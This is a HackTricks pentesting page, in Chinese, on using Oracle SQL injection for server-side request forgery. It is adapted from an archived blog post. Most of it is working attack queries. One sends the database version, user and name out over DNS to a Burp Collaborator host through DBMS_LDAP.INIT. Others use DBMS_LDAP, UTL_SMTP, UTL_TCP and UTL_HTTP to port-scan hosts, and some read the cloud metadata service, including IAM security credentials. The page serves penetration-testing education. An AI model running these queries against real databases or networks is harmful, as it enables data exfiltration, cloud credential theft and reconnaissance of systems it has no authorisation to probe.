> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/sql-injection/oracle-injection.md).

# Oracle injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**将此帖子存档为已删除帖子的**[**wayback machine副本**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)。

## SSRF

使用Oracle执行带外HTTP和DNS请求的方法已经有很多文档记录，但作为注入中提取SQL数据的手段。我们总是可以修改这些技术/函数来执行其他SSRF/XSPA。

安装Oracle可能非常痛苦，特别是如果您想设置一个快速实例来尝试命令。我的朋友和同事在[Appsecco](https://appsecco.com)，[Abhisek Datta](https://github.com/abhisek)，向我指出了<https://github.com/MaksymBilenko/docker-oracle-12c>，这使我能够在t2.large AWS Ubuntu机器和Docker上设置一个实例。

我使用`--network="host"`标志运行了docker命令，以便我可以模拟Oracle作为一个具有完全网络访问权限的本地安装，用于本博文的过程。

```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```

#### 支持URL或主机名/端口号规范的Oracle包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>

为了找到支持主机和端口规范的任何包和函数，我在[Oracle数据库在线文档](https://docs.oracle.com/database/121/index.html)上进行了谷歌搜索。具体来说，

```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```

搜索返回了以下结果（并非所有都可用于执行出站网络）

* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP

这种简单的搜索显然会跳过像`DBMS_LDAP`（允许传递主机名和端口号）这样的包，因为[文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)只是简单地指向了[不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此，可能有其他可以滥用以发出请求的Oracle包我可能错过了。

无论如何，让我们来看看我们发现并列出的一些包。

**DBMS\_LDAP.INIT**

`DBMS_LDAP`包允许访问LDAP服务器中的数据。`init()`函数初始化与LDAP服务器的会话，并将主机名和端口号作为参数。

此函数以前已经记录过，显示了通过DNS泄露数据，如下所示

```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```

然而，考虑到该函数接受主机名和端口号作为参数，您也可以利用它来像端口扫描器一样工作。

以下是一些示例:

```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```

`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表明端口关闭，而会话值指向端口已打开。

**UTL\_SMTP**

`UTL_SMTP` 包旨在通过 SMTP 发送电子邮件。[Oracle 文档网站提供了一个示例，展示了如何使用该包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。然而，对我们而言，有趣的是能够提供主机和端口规范。

下面显示了一个简单示例，使用了 `UTL_SMTP.OPEN_CONNECTION` 函数，设置了 2 秒的超时时间。

```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```

```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```

`ORA-29276: 传输超时` 表明端口是打开的，但未建立 SMTP 连接，而 `ORA-29278: SMTP 临时错误: 421 服务不可用` 表明端口已关闭。

**UTL\_TCP**

`UTL_TCP` 包及其过程和函数允许[与服务进行基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程，该包可以轻松成为进入网络或执行完整的服务器端请求的一种方式，因为可以控制 TCP/IP 连接的所有方面。

[Oracle 文档网站上的示例](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)展示了如何使用此包建立原始 TCP 连接以获取网页。我们可以简化一下，并使用它向元数据实例或任意 TCP/IP 服务发出请求。

```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```

```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```

有趣的是，由于能够构建原始的TCP请求，这个包也可以用来查询所有云提供商的实例元数据服务，因为方法类型和附加标头都可以在TCP请求中传递。

**UTL\_HTTP和Web请求**

也许在每个关于Oracle SQL注入的外带教程中最常见且广泛记录的技术是[`UTL_HTTP`包](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中定义了这个包 - `UTL_HTTP包使SQL和PL/SQL可以进行超文本传输协议（HTTP）调用。您可以使用它来通过HTTP访问互联网上的数据。`

```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```

你还可以使用这个方法执行一些基本的端口扫描，比如使用以下查询：

```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```

一个`ORA-12541: TNS:no listener`或`TNS:operation timed out`表示TCP端口关闭，而`ORA-29263: HTTP protocol error`或数据表示端口开放。

我过去使用过的另一个包是[`HTTPURITYPE` Oracle抽象类型的`GETCLOB()`方法](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)，它允许与URL交互并支持HTTP协议。`GETCLOB()`方法用于将URL的GET响应作为[CLOB数据类型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)提取。\[select HTTPURITYPE('<http://169.254.169.254/latest/meta-data/instance-id').getclob(>) from dual;

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
